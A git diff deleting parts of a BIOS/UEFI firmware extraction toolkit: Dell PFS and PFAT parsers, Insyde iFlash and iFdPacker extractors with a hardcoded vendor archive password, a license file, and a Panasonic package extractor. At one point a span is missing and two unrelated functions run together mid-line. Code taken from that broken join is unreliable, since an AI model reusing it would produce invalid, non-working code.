parse_pfat_pfs(pfat_entry_hdr, entry_data, padding, structure) # Parse sub-PFS PFAT Volume - - # Parse PFS Entry which contains zlib-compressed sub-PFS Volume - elif pfs_zlib_offsets: - entry_type = 'ZLIB' # Re-set PFS Entry Type from OTHER to ZLIB, to use such info afterwards - pfs_count += 1 # Increase the count/index of parsed main PFS structures by one - - # Parse each sub-PFS ZLIB Section - for offset in pfs_zlib_offsets: - # Get the Name of the zlib-compressed full PFS structure via the already stored PFS Information - # The zlib-compressed full PFS structure(s) are used to contain multiple FW (CombineBiosNameX) - # When zlib-compressed full PFS structure(s) exist within the main/first full PFS structure, - # its PFS Information should contain their names (CombineBiosNameX). Since the main/first - # full PFS structure has count/index 1, the rest start at 2+ and thus, their PFS Information - # names can be retrieved in order by subtracting 2 from the main/first PFS Information values - sub_pfs_name = f'{info_all[pfs_count - 2][1]} v{info_all[pfs_count - 2][2]}' if info_all else ' UNKNOWN' - - # Set the sub-PFS output path (create sub-folders for each sub-PFS and its ZLIB sections) - sub_pfs_path = os.path.join(extract_path, f'{pfs_count} {safe_name(sub_pfs_name)}') - - # Recursively call the PFS ZLIB Section Parser function for the sub-PFS Volume (pfs_index = pfs_count) - pfs_section_parse(entry_data, offset, sub_pfs_path, sub_pfs_name, pfs_count, pfs_count, True, padding + 4, structure, advanced) - - entries_all[index][4] = entry_data # Adjust PFS Entry Data after parsing PFAT (same ZLIB raw data, not stored afterwards) - entries_all[index][3] = entry_type # Adjust PFS Entry Type from OTHER to PFAT or ZLIB (ZLIB is ignored at file extraction) - - # Name & Store each PFS Entry/Component Data, Data Signature, Metadata, Metadata Signature - for entry_index in range(len(entries_all)): - file_index = entries_all[entry_index][0] - file_guid = entries_all[entry_index][1] - file_version = entries_all[entry_index][2] - file_type = entries_all[entry_index][3] - file_data = entries_all[entry_index][4] - file_data_sig = entries_all[entry_index][5] - file_meta = entries_all[entry_index][6] - file_meta_sig = entries_all[entry_index][7] - - # Give Names to special PFS Entries, not covered by PFS Information - if file_type == 'MODEL_INFO': - file_name = 'Model Information' - elif file_type == 'NAME_INFO': - file_name = 'Filename Information' - if not advanced: - continue # Don't store Filename Information in non-advanced user mode - elif file_type == 'SIG_INFO': - file_name = 'Signature Information' - if not advanced: - continue # Don't store Signature Information in non-advanced user mode - else: - file_name = '' - - # Most PFS Entry Names & Versions are found at PFS Information via their GUID - # Version can be found at DellPfsEntryR* but prefer PFS Information when possible - for info_index in range(len(info_all)): - info_guid = info_all[info_index][0] - info_name = info_all[info_index][1] - info_version = info_all[info_index][2] - - # Give proper Name & Version info if Entry/Information GUIDs match - if info_guid == file_guid: - file_name = info_name - file_version = info_version - - info_all[info_index][0] = 'USED' # PFS with zlib-compressed sub-PFS use the same GUID - - break # Break at 1st Name match to not rename again from next zlib-compressed sub-PFS with the same GUID - - # For both advanced & non-advanced users, the goal is to store final/usable files only - # so empty or intermediate files such as sub-PFS, PFS w/ PFAT or zlib-PFS are skipped - # Main/First PFS CombineBiosNameX Metadata files must be kept for accurate Model Information - # All users should check these files in order to choose the correct CombineBiosNameX modules - write_files = [] # Initialize list of output PFS Entry files to be written/extracted - - is_zlib = bool(file_type == 'ZLIB') # Determine if PFS Entry Data was zlib-compressed - - if file_data and not is_zlib: - write_files.append([file_data, 'data']) # PFS Entry Data Payload - - if file_data_sig and advanced: - write_files.append([file_data_sig, 'sign_data']) # PFS Entry Data Signature - - if file_meta and (is_zlib or advanced): - write_files.append([file_meta, 'meta']) # PFS Entry Metadata Payload - - if file_meta_sig and advanced: - write_files.append([file_meta_sig, 'sign_meta']) # PFS Entry Metadata Signature - - # Write/Extract PFS Entry files - for file in write_files: - full_name = f'{pfs_index} {pfs_name} -- {file_index} {file_name} v{file_version}' # Full PFS Entry Name - pfs_file_write(file[0], file[1], file_type, full_name, extract_path, padding, structure, advanced) - - # Get PFS Footer Data after PFS Header Payload - pfs_footer = buffer[PFS_HEAD_LEN + pfs_hdr.PayloadSize:PFS_HEAD_LEN + pfs_hdr.PayloadSize + PFS_FOOT_LEN] - - # Analyze PFS Footer Structure - chk_pfs_ftr(pfs_footer, pfs_payload, pfs_hdr.PayloadSize, 'PFS', padding, structure) - -# Analyze Dell PFS Entry Structure -def parse_pfs_entry(entry_buffer, entry_start, entry_size, entry_struct, text, padding=0, structure=True): - # Get PFS Entry Structure values - pfs_entry = get_struct(entry_buffer, entry_start, entry_struct) - - # Show PFS Entry Structure info - if structure: - printer('PFS Entry:\n', padding + 4) - pfs_entry.struct_print(padding + 8) - - # Validate that a known PFS Entry Header Version was encountered - chk_hdr_ver(pfs_entry.HeaderVersion, text, padding + 8) - - # Validate that the PFS Entry Reserved field is empty - if pfs_entry.Reserved != 0: - printer(f'Error: Detected non-empty {text} Reserved field!', padding + 8) - - # Get PFS Entry Version string via "Version" and "VersionType" fields - entry_version = get_entry_ver(pfs_entry.Version, pfs_entry.VersionType) - - # Get PFS Entry GUID in Big Endian format - entry_guid = f'{int.from_bytes(pfs_entry.GUID, "little"):0{0x10 * 2}X}' - - # PFS Entry Data starts after the PFS Entry Structure - entry_data_start = entry_start + entry_size - entry_data_end = entry_data_start + pfs_entry.DataSize - - # PFS Entry Data Signature starts after PFS Entry Data - entry_data_sig_start = entry_data_end - entry_data_sig_end = entry_data_sig_start + pfs_entry.DataSigSize - - # PFS Entry Metadata starts after PFS Entry Data Signature - entry_met_start = entry_data_sig_end - entry_met_end = entry_met_start + pfs_entry.DataMetSize - - # PFS Entry Metadata Signature starts after PFS Entry Metadata - entry_met_sig_start = entry_met_end - entry_met_sig_end = entry_met_sig_start + pfs_entry.DataMetSigSize - - entry_data = entry_buffer[entry_data_start:entry_data_end] # Store PFS Entry Data - entry_data_sig = entry_buffer[entry_data_sig_start:entry_data_sig_end] # Store PFS Entry Data Signature - entry_met = entry_buffer[entry_met_start:entry_met_end] # Store PFS Entry Metadata - entry_met_sig = entry_buffer[entry_met_sig_start:entry_met_sig_end] # Store PFS Entry Metadata Signature - - return pfs_entry, entry_version, entry_guid, entry_data, entry_data_sig, entry_met, entry_met_sig, entry_met_sig_end - -# Parse Dell PFS Volume with PFAT Payload -def parse_pfat_pfs(entry_hdr, entry_data, padding=0, structure=True): - # Show PFS Volume indicator - if structure: - printer('PFS Volume:', padding + 4) - - # Show sub-PFS Header Structure Info - if structure: - printer('PFS Header:\n', padding + 8) - entry_hdr.struct_print(padding + 12) - - # Validate that a known sub-PFS Header Version was encountered - chk_hdr_ver(entry_hdr.HeaderVersion, 'sub-PFS', padding + 12) - - # Get sub-PFS Payload Data - pfat_payload = entry_data[PFS_HEAD_LEN:PFS_HEAD_LEN + entry_hdr.PayloadSize] - - # Get sub-PFS Footer Data after sub-PFS Header Payload (must be retrieved at the initial entry_data, before PFAT parsing) - pfat_footer = entry_data[PFS_HEAD_LEN + entry_hdr.PayloadSize:PFS_HEAD_LEN + entry_hdr.PayloadSize + PFS_FOOT_LEN] - - # Parse all sub-PFS Payload PFAT Entries - pfat_entries_all = [] # Storage for all sub-PFS PFAT Entries Order/Offset & Payload/Raw Data - pfat_entry_start = 0 # Increasing sub-PFS PFAT Entry start offset - pfat_entry_index = 1 # Increasing sub-PFS PFAT Entry count index - _, pfs_entry_size = get_pfs_entry(pfat_payload, 0) # Get initial PFS PFAT Entry Size for loop - while len(pfat_payload[pfat_entry_start:pfat_entry_start + pfs_entry_size]) == pfs_entry_size: - # Get sub-PFS PFAT Entry Structure & Size info - pfat_entry_struct,pfat_entry_size = get_pfs_entry(pfat_payload, pfat_entry_start) - - # Analyze sub-PFS PFAT Entry Structure and get relevant info - pfat_entry,_,_,pfat_entry_data,_,pfat_entry_met,_,pfat_next_entry = parse_pfs_entry(pfat_payload, - pfat_entry_start, pfat_entry_size, pfat_entry_struct, 'sub-PFS PFAT Entry', padding + 4, structure) - - # Each sub-PFS PFAT Entry includes an AMI BIOS Guard (a.k.a. PFAT) block at the beginning - # We need to parse the PFAT block and remove its contents from the final Payload/Raw Data - pfat_hdr_off = pfat_entry_start + pfat_entry_size # PFAT block starts after PFS Entry - - # Get sub-PFS PFAT Header Structure values - pfat_hdr = get_struct(pfat_payload, pfat_hdr_off, IntelBiosGuardHeader) - - # Get ordinal value of the sub-PFS PFAT Entry Index - pfat_entry_idx_ord = get_ordinal(pfat_entry_index) - - # Show sub-PFS PFAT Header Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Header:\n', padding + 12) - pfat_hdr.struct_print(padding + 16) - - pfat_script_start = pfat_hdr_off + PFAT_HDR_LEN # PFAT Block Script Start - pfat_script_end = pfat_script_start + pfat_hdr.ScriptSize # PFAT Block Script End - pfat_script_data = pfat_payload[pfat_script_start:pfat_script_end] # PFAT Block Script Data - pfat_payload_start = pfat_script_end # PFAT Block Payload Start (at Script end) - pfat_payload_end = pfat_script_end + pfat_hdr.DataSize # PFAT Block Data End - pfat_payload_data = pfat_payload[pfat_payload_start:pfat_payload_end] # PFAT Block Raw Data - pfat_hdr_bgs_size = PFAT_HDR_LEN + pfat_hdr.ScriptSize # PFAT Block Header & Script Size - - # The PFAT Script End should match the total Entry Data Size w/o PFAT block - if pfat_hdr_bgs_size != pfat_entry.DataSize - pfat_hdr.DataSize: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & PFAT Size mismatch!', padding + 16) - - # Get PFAT Header Flags (SFAM, ProtectEC, GFXMitDis, FTU, Reserved) - is_sfam,_,_,_,_ = pfat_hdr.get_flags() - - # Parse sub-PFS PFAT Signature, if applicable (only when PFAT Header > SFAM flag is set) - if is_sfam and len(pfat_payload[pfat_payload_end:pfat_payload_end + PFAT_SIG_LEN]) == PFAT_SIG_LEN: - # Get sub-PFS PFAT Signature Structure values - pfat_sig = get_struct(pfat_payload, pfat_payload_end, IntelBiosGuardSignature2k) - - # Show sub-PFS PFAT Signature Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Signature:\n', padding + 12) - pfat_sig.struct_print(padding + 16) - - # Show PFAT Script via BIOS Guard Script Tool - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Script:\n', padding + 12) - - _ = parse_bg_script(pfat_script_data, padding + 16) - - # The payload of sub-PFS PFAT Entries is not in proper order by default - # We can get each payload's order from PFAT Script > OpCode #2 (set I0 imm) - # PFAT Script OpCode #2 > Operand #3 stores the payload Offset in final image - pfat_entry_off = int.from_bytes(pfat_script_data[0xC:0x10], 'little') - - # We can get each payload's length from PFAT Script > OpCode #4 (set I2 imm) - # PFAT Script OpCode #4 > Operand #3 stores the payload Length in final image - pfat_entry_len = int.from_bytes(pfat_script_data[0x1C:0x20], 'little') - - # Check that the PFAT Entry Length from Header & Script match - if pfat_hdr.DataSize != pfat_entry_len: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & Script Length mismatch!', padding + 12) - - # Initialize sub-PFS PFAT Entry Metadata Address - pfat_entry_adr = pfat_entry_off - - # Parse sub-PFS PFAT Entry/Block Metadata - if len(pfat_entry_met) >= PFS_PFAT_LEN: - # Get sub-PFS PFAT Metadata Structure values - pfat_met = get_struct(pfat_entry_met, 0, DellPfsPfatMetadata) - - # Store sub-PFS PFAT Entry Metadata Address - pfat_entry_adr = pfat_met.Address - - # Show sub-PFS PFAT Metadata Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Metadata:\n', padding + 12) - pfat_met.struct_print(padding + 16) - - # Another way to get each PFAT Entry Offset is from its Metadata, if applicable - # Check that the PFAT Entry Offsets from PFAT Script and PFAT Metadata match - if pfat_entry_off != pfat_met.Offset: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Offset mismatch!', padding + 16) - pfat_entry_off = pfat_met.Offset # Prefer Offset from Metadata, in case PFAT Script differs - - # Another way to get each PFAT Entry Length is from its Metadata, if applicable - # Check that the PFAT Entry Length from PFAT Script and PFAT Metadata match - if not (pfat_hdr.DataSize == pfat_entry_len == pfat_met.DataSize): - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Length mismatch!', padding + 16) - - # Check that the PFAT Entry payload Size from PFAT Header matches the one from PFAT Metadata - if pfat_hdr.DataSize != pfat_met.DataSize: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Block Size mismatch!', padding + 16) - - # Get sub-PFS Entry Raw Data by subtracting PFAT Header & Script from PFAT Entry Data - pfat_entry_data_raw = pfat_entry_data[pfat_hdr_bgs_size:] - - # The sub-PFS Entry Raw Data (w/o PFAT Header & Script) should match with the PFAT Block payload - if pfat_entry_data_raw != pfat_payload_data: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} w/o PFAT & PFAT Block Data mismatch!', padding + 16) - pfat_entry_data_raw = pfat_payload_data # Prefer Data from PFAT Block, in case PFAT Entry differs - - # Store each sub-PFS PFAT Entry/Block Offset, Address, Ordinal Index and Payload/Raw Data - # Goal is to sort these based on Offset first and Address second, in cases of same Offset - # For example, Precision 3430 has two PFAT Entries with the same Offset of 0x40000 at both - # BG Script and PFAT Metadata but their PFAT Metadata Address is 0xFF040000 and 0xFFA40000 - pfat_entries_all.append((pfat_entry_off, pfat_entry_adr, pfat_entry_idx_ord, pfat_entry_data_raw)) - - # Check if next sub-PFS PFAT Entry offset is valid - if pfat_next_entry <= 0: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} with invalid next PFAT Block offset!', padding + 16) - pfat_next_entry += pfs_entry_size # Avoid a potential infinite loop if next sub-PFS PFAT Entry offset is bad - - pfat_entry_start = pfat_next_entry # Next sub-PFS PFAT Entry starts after sub-PFS Entry Metadata Signature - - pfat_entry_index += 1 - - pfat_entries_all.sort() # Sort all sub-PFS PFAT Entries based on their Offset/Address - - block_start_exp = 0 # Initialize sub-PFS PFAT Entry expected Offset - total_pfat_data = b'' # Initialize final/ordered sub-PFS Entry Data - - # Parse all sorted sub-PFS PFAT Entries and merge their payload/data - for block_start,_,block_index,block_data in pfat_entries_all: - # Fill any data gaps between sorted sub-PFS PFAT Entries with padding - # For example, Precision 7960 v0.16.68 has gap at 0x1190000-0x11A0000 - block_data_gap = block_start - block_start_exp - if block_data_gap > 0: - printer(f'Warning: Filled sub-PFS PFAT {block_index} data gap 0x{block_data_gap:X} [0x{block_start_exp:X}-0x{block_start:X}]!', padding + 8) - total_pfat_data += b'\xFF' * block_data_gap # Use 0xFF padding to fill in data gaps in PFAT UEFI firmware images - - total_pfat_data += block_data # Append sorted sub-PFS PFAT Entry payload/data - - block_start_exp = len(total_pfat_data) # Set next sub-PFS PFAT Entry expected Start - - # Verify that the end offset of the last PFAT Entry matches the final sub-PFS Entry Data Size - if len(total_pfat_data) != pfat_entries_all[-1][0] + len(pfat_entries_all[-1][3]): - printer('Error: Detected sub-PFS PFAT total buffer size and last block end mismatch!', padding + 8) - - # Analyze sub-PFS Footer Structure - chk_pfs_ftr(pfat_footer, pfat_payload, entry_hdr.PayloadSize, 'Sub-PFS', padding + 4, structure) - - return total_pfat_data - -# Get Dell PFS Entry Structure & Size via its Version -def get_pfs_entry(buffer, offset): - pfs_entry_ver = int.from_bytes(buffer[offset + 0x10:offset + 0x14], 'little') # PFS Entry Version - - if pfs_entry_ver == 1: - return DellPfsEntryR1, ctypes.sizeof(DellPfsEntryR1) - - if pfs_entry_ver == 2: - return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) - - return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) - -# Determine Dell PFS Entry Version string -def get_entry_ver(version_fields, version_types): - version = '' # Initialize Version string - - # Each Version Type (1 byte) determines the type of each Version Value (2 bytes) - # Version Type 'N' is Number, 'A' is Text and ' ' is Empty/Unused - for index,field in enumerate(version_fields): - eol = '' if index == len(version_fields) - 1 else '.' - - if version_types[index] == 65: - version += f'{field:X}{eol}' # 0x41 = ASCII - elif version_types[index] == 78: - version += f'{field:d}{eol}' # 0x4E = Number - elif version_types[index] in (0, 32): - version = version.strip('.') # 0x00 or 0x20 = Unused - else: - version += f'{field:X}{eol}' # Unknown - - return version - -# Check if Dell PFS Header Version is known -def chk_hdr_ver(version, text, padding=0): - if version in (1,2): - return - - printer(f'Error: Unknown {text} Header Version {version}!', padding) - - return - -# Analyze Dell PFS Footer Structure -def chk_pfs_ftr(footer_buffer, data_buffer, data_size, text, padding=0, structure=True): - # Get PFS Footer Structure values - pfs_ftr = get_struct(footer_buffer, 0, DellPfsFooter) - - # Validate that a PFS Footer was parsed - if pfs_ftr.Tag == b'PFS.FTR.': - # Show PFS Footer Structure info - if structure: - printer('PFS Footer:\n', padding + 4) - pfs_ftr.struct_print(padding + 8) - else: - printer(f'Error: {text} Footer could not be found!', padding + 4) - - # Validate that PFS Header Payload Size matches the one at PFS Footer - if data_size != pfs_ftr.PayloadSize: - printer(f'Error: {text} Header & Footer Payload Size mismatch!', padding + 4) - - # Calculate the PFS Payload Data CRC-32 w/ Vector 0 - pfs_ftr_crc = ~zlib.crc32(data_buffer, 0) & 0xFFFFFFFF - - # Validate PFS Payload Data Checksum via PFS Footer - if pfs_ftr.Checksum != pfs_ftr_crc: - printer(f'Error: Invalid {text} Footer Payload Checksum!', padding + 4) - -# Write/Extract Dell PFS Entry Files (Data, Metadata, Signature) -def pfs_file_write(bin_buff, bin_name, bin_type, full_name, out_path, padding=0, structure=True, advanced=True): - # Store Data/Metadata Signature (advanced users only) - if bin_name.startswith('sign'): - final_name = f'{safe_name(full_name)}.{bin_name.split("_")[1]}.sig' - final_path = os.path.join(out_path, final_name) - - with open(final_path, 'wb') as pfs_out: - pfs_out.write(bin_buff) # Write final Data/Metadata Signature - - return # Skip further processing for Signatures - - # Store Data/Metadata Payload - bin_ext = f'.{bin_name}.bin' if advanced else '.bin' # Simpler Data/Metadata Extension for non-advanced users - - # Some Data may be Text or XML files with useful information for non-advanced users - is_text,final_data,file_ext,write_mode = bin_is_text(bin_buff, bin_type, bin_name == 'meta', padding, structure, advanced) - - final_name = f'{safe_name(full_name)}{bin_ext[:-4] + file_ext if is_text else bin_ext}' - final_path = os.path.join(out_path, final_name) - - with open(final_path, write_mode) as pfs_out: - pfs_out.write(final_data) # Write final Data/Metadata Payload - -# Check if Dell PFS Entry file/data is Text/XML and Convert -def bin_is_text(buffer, file_type, is_metadata, padding=0, structure=True, advanced=True): - is_text = False - write_mode = 'wb' - extension = '.bin' - buffer_in = buffer - - if b',END' in buffer[-0x8:]: # Text Type 1 - is_text = True - write_mode = 'w' - extension = '.txt' - buffer = buffer.decode('utf-8').split(',END')[0].replace(';','\n') - elif buffer.startswith(b'VendorName=Dell'): # Text Type 2 - is_text = True - write_mode = 'w' - extension = '.txt' - buffer = buffer.split(b'\x00')[0].decode('utf-8').replace(';','\n') - elif b' len(input_buffer): - continue - - iflash_match_all.append([ifl_bgn, ifl_hdr]) - - return iflash_match_all - -# Extract Insyde iFlash Update image -def insyde_iflash_extract(input_buffer, extract_path, padding=0): - insyde_iflash_all = insyde_iflash_detect(input_buffer) - - if not insyde_iflash_all: - return 127 - - printer('Detected Insyde iFlash Update image!', padding) - - make_dirs(extract_path, delete=True) - - exit_codes = [] - - for insyde_iflash in insyde_iflash_all: - exit_code = 0 - - ifl_bgn,ifl_hdr = insyde_iflash - - img_bgn = ifl_bgn + INS_IFL_LEN - img_end = img_bgn + ifl_hdr.ImageSize - img_bin = input_buffer[img_bgn:img_end] - - if len(img_bin) != ifl_hdr.ImageSize: - exit_code = 1 - - img_val = [ifl_hdr.get_image_tag(), 'bin'] - img_tag,img_ext = INS_IFL_IMG.get(img_val[0], img_val) - - img_name = f'{img_tag} [0x{img_bgn:08X}-0x{img_end:08X}]' - - printer(f'{img_name}\n', padding + 4) - - ifl_hdr.struct_print(padding + 8) - - if img_val == [img_tag,img_ext]: - printer(f'Note: Detected new Insyde iFlash tag {img_tag}!', padding + 12, pause=True) - - out_name = f'{img_name}.{img_ext}' - - out_path = os.path.join(extract_path, safe_name(out_name)) - - with open(out_path, 'wb') as out_image: - out_image.write(img_bin) - - printer(f'Succesfull Insyde iFlash > {img_tag} extraction!', padding + 12) - - exit_codes.append(exit_code) - - return sum(exit_codes) - -# Extract Insyde iFdPacker 7-Zip SFX 7z Update image -def insyde_packer_extract(input_buffer, extract_path, padding=0): - match_sfx = PAT_INSYDE_SFX.search(input_buffer) - - if not match_sfx: - return 127 - - printer('Detected Insyde iFdPacker Update image!', padding) - - make_dirs(extract_path, delete=True) - - sfx_buffer = bytearray(input_buffer[match_sfx.end() - 0x5:]) - - if sfx_buffer[:0x5] == b'\x6E\xF4\x79\x5F\x4E': - printer('Detected Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 4) - - for index,byte in enumerate(sfx_buffer): - sfx_buffer[index] = byte // 2 + (128 if byte % 2 else 0) - - printer('Removed Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 8) - - printer('Extracting Insyde iFdPacker > 7-Zip SFX archive...', padding + 4) - - if bytes(INS_SFX_PWD, 'utf-16le') in input_buffer[:match_sfx.start()]: - printer('Detected Insyde iFdPacker > 7-Zip SFX > Password!', padding + 8) - printer(INS_SFX_PWD, padding + 12) - - sfx_path = os.path.join(extract_path, 'Insyde_iFdPacker_SFX.7z') - - with open(sfx_path, 'wb') as sfx_file: - sfx_file.write(sfx_buffer) - - if is_szip_supported(sfx_path, padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True): - if szip_decompress(sfx_path, extract_path, 'Insyde iFdPacker > 7-Zip SFX', - padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True) == 0: - os.remove(sfx_path) - else: - return 125 - else: - return 126 - - exit_codes = [] - - for sfx_file in get_path_files(extract_path): - if is_insyde_ifd(sfx_file): - printer(f'{os.path.basename(sfx_file)}', padding + 12) - - ifd_code = insyde_ifd_extract(sfx_file, get_extract_path(sfx_file), padding + 16) - - exit_codes.append(ifd_code) - - return sum(exit_codes) - -# Insyde iFdPacker known 7-Zip SFX Password -INS_SFX_PWD = 'Y`t~i!L@i#t$U%h^s7A*l(f)E-d=y+S_n?i' - -# Insyde iFlash known Image Names -INS_IFL_IMG = { - 'BIOSCER' : ['Certificate', 'bin'], - 'BIOSCR2' : ['Certificate 2nd', 'bin'], - 'BIOSIMG' : ['BIOS-UEFI', 'bin'], - 'DRV_IMG' : ['isflash', 'efi'], - 'EC_IMG' : ['Embedded Controller', 'bin'], - 'INI_IMG' : ['platform', 'ini'], - 'ME_IMG' : ['Management Engine', 'bin'], - 'OEM_ID' : ['OEM Identifier', 'bin'], - } - -# Get common ctypes Structure Sizes -INS_IFL_LEN = ctypes.sizeof(IflashHeader) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_insyde_ifd, insyde_ifd_extract).run_utility() diff --git a/blobs/t480/biosutilities/LICENSE b/blobs/t480/biosutilities/LICENSE deleted file mode 100644 index 06831fb23..000000000 --- a/blobs/t480/biosutilities/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2019-2022 Plato Mavropoulos - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - -Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by: - -(a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or - -(b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution. - -Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise. - -DISCLAIMER - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py deleted file mode 100644 index 096bec3df..000000000 --- a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py +++ /dev/null @@ -1,209 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Panasonic BIOS Extract -Panasonic BIOS Package Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Panasonic BIOS Package Extractor v2.0_a10' - -import os -import io -import sys -import lznt1 -import pefile - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import get_path_files, make_dirs, path_stem, safe_name -from common.pe_ops import get_pe_file, get_pe_info, is_pe_file, show_pe_info -from common.patterns import PAT_MICROSOFT_CAB -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file - -# Check if input is Panasonic BIOS Package PE -def is_panasonic_pkg(in_file): - in_buffer = file_to_bytes(in_file) - - pe_file = get_pe_file(in_buffer, fast=True) - - if not pe_file: - return False - - pe_info = get_pe_info(pe_file) - - if not pe_info: - return False - - if pe_info.get(b'FileDescription',b'').upper() != b'UNPACK UTILITY': - return False - - if not PAT_MICROSOFT_CAB.search(in_buffer): - return False - - return True - -# Search and Extract Panasonic BIOS Package PE CAB archive -def panasonic_cab_extract(buffer, extract_path, padding=0): - pe_path,pe_file,pe_info = [None] * 3 - - cab_bgn = PAT_MICROSOFT_CAB.search(buffer).start() - cab_len = int.from_bytes(buffer[cab_bgn + 0x8:cab_bgn + 0xC], 'little') - cab_end = cab_bgn + cab_len - cab_bin = buffer[cab_bgn:cab_end] - cab_tag = f'[0x{cab_bgn:06X}-0x{cab_end:06X}]' - - cab_path = os.path.join(extract_path, f'CAB_{cab_tag}.cab') - - with open(cab_path, 'wb') as cab_file: - cab_file.write(cab_bin) # Store CAB archive - - if is_szip_supported(cab_path, padding, check=True): - printer(f'Panasonic BIOS Package > PE > CAB {cab_tag}', padding) - - if szip_decompress(cab_path, extract_path, 'CAB', padding + 4, check=True) == 0: - os.remove(cab_path) # Successful extraction, delete CAB archive - else: - return pe_path, pe_file, pe_info - else: - return pe_path, pe_file, pe_info - - for file_path in get_path_files(extract_path): - pe_file = get_pe_file(file_path, fast=True) - if pe_file: - pe_info = get_pe_info(pe_file) - if pe_info.get(b'FileDescription',b'').upper() == b'BIOS UPDATE': - pe_path = file_path - break - else: - return pe_path, pe_file, pe_info - - return pe_path, pe_file, pe_info - -# Extract & Decompress Panasonic BIOS Update PE RCDATA (LZNT1) -def panasonic_res_extract(pe_name, pe_file, extract_path, padding=0): - is_rcdata = False - - # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to RCDATA Directories - pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) - - # Parse all Resource Data Directories > RCDATA (ID = 10) - for entry in pe_file.DIRECTORY_ENTRY_RESOURCE.entries: - if entry.struct.name == 'IMAGE_RESOURCE_DIRECTORY_ENTRY' and entry.struct.Id == 0xA: - is_rcdata = True - for resource in entry.directory.entries: - res_bgn = resource.directory.entries[0].data.struct.OffsetToData - res_len = resource.directory.entries[0].data.struct.Size - res_end = res_bgn + res_len - res_bin = pe_file.get_data(res_bgn, res_len) - res_tag = f'{pe_name} [0x{res_bgn:06X}-0x{res_end:06X}]' - res_out = os.path.join(extract_path, f'{res_tag}') - - printer(res_tag, padding + 4) - - try: - res_raw = lznt1.decompress(res_bin[0x8:]) - - printer('Succesfull LZNT1 decompression via lznt1!', padding + 8) - except Exception: - res_raw = res_bin - - printer('Succesfull PE Resource extraction!', padding + 8) - - # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image - if is_ami_pfat(res_raw): - pfat_dir = os.path.join(extract_path, res_tag) - - parse_pfat_file(res_raw, pfat_dir, padding + 12) - else: - if is_pe_file(res_raw): - res_ext = 'exe' - elif res_raw.startswith(b'[') and res_raw.endswith((b'\x0D\x0A',b'\x0A')): - res_ext = 'txt' - else: - res_ext = 'bin' - - if res_ext == 'txt': - printer(new_line=False) - for line in io.BytesIO(res_raw).readlines(): - line_text = line.decode('utf-8','ignore').rstrip() - printer(line_text, padding + 12, new_line=False) - - with open(f'{res_out}.{res_ext}', 'wb') as out_file: - out_file.write(res_raw) - - return is_rcdata - -# Extract Panasonic BIOS Update PE 